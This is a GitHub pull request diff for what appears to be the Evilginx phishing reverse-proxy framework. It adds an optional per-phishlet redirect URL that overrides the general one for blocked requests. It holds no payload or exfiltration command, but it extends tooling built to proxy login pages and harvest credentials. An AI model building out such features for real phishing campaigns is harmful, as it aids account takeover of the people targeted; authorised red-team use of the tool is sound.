Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature: Phishlet-Specific redirect URL #932

Open
wants to merge 7 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -1033,8 +1033,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}

func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
// Check if a general redirect URL is provided
if len(p.cfg.general.RedirectUrl) > 0 {
redirect_url := p.cfg.general.RedirectUrl
pl := p.getPhishletByPhishHost(req.Host)
// Check if a phishlet-specific redirect URL is available for the current request's host
phishlet_redirect_url := pl.redirect_url
// Overwrite general redirect URL if phishlet-specific URL is available
if len(phishlet_redirect_url) > 0 {
log.Info("phishlet redirect override for [%s]", pl.Name)
redirect_url = phishlet_redirect_url
}

resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)
Expand Down
9 changes: 9 additions & 0 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,7 @@ type Phishlet struct {
js_inject []JsInject
customParams map[string]string
isTemplate bool
redirect_url string
}

type ConfigParam struct {
Expand Down Expand Up @@ -211,6 +212,7 @@ type ConfigPhishlet struct {
LandingPath *[]string `mapstructure:"landing_path"`
LoginItem *ConfigLogin `mapstructure:"login"`
JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
RedirectUrl string `mapstructure:"redirect_url"`
}

func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error) {
Expand Down Expand Up @@ -245,6 +247,7 @@ func (p *Phishlet) Clear() {
p.forcePost = []ForcePost{}
p.customParams = make(map[string]string)
p.isTemplate = false
p.redirect_url = ""
}

func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[string]string) error {
Expand Down Expand Up @@ -704,7 +707,13 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
p.landing_path[n] = p.paramVal(p.landing_path[n])
}
}

if len(fp.RedirectUrl) > 0 {
p.redirect_url = fp.RedirectUrl
}

return nil

}

func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string {
Expand Down
1 change: 1 addition & 0 deletions phishlets/example.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,3 +18,4 @@ credentials:
login:
domain: 'academy.breakdev.org'
path: '/evilginx-mastery'
redirect_url: 'https://example.com'